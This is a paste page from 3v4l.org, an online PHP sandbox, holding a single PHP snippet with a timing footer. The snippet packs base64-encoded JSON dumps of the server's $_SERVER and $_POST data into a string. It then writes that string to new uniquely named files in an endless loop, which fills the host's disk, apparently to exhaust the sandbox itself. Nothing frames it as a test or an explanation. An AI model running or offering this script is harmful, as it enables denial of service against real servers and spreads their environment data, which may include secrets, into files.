3v4l.org

run code in 300+ PHP versions simultaneously
<?php $str ="user"; $str .= base64_encode(json_encode($_SERVER)); $str .= base64_encode(json_encode($_POST)); $str .= base64_encode(json_encode($_SERVER)); $str .= base64_encode(json_encode($_SERVER)); $str .= base64_encode(json_encode($_SERVER)); $str .= base64_encode(json_encode($_SERVER)); $str .= base64_encode(json_encode($_SERVER)); $str .= base64_encode(json_encode($_SERVER)); while(1) { file_put_contents(uniqid(),$str);}?>

preferences:
36.09 ms | 402 KiB | 5 Q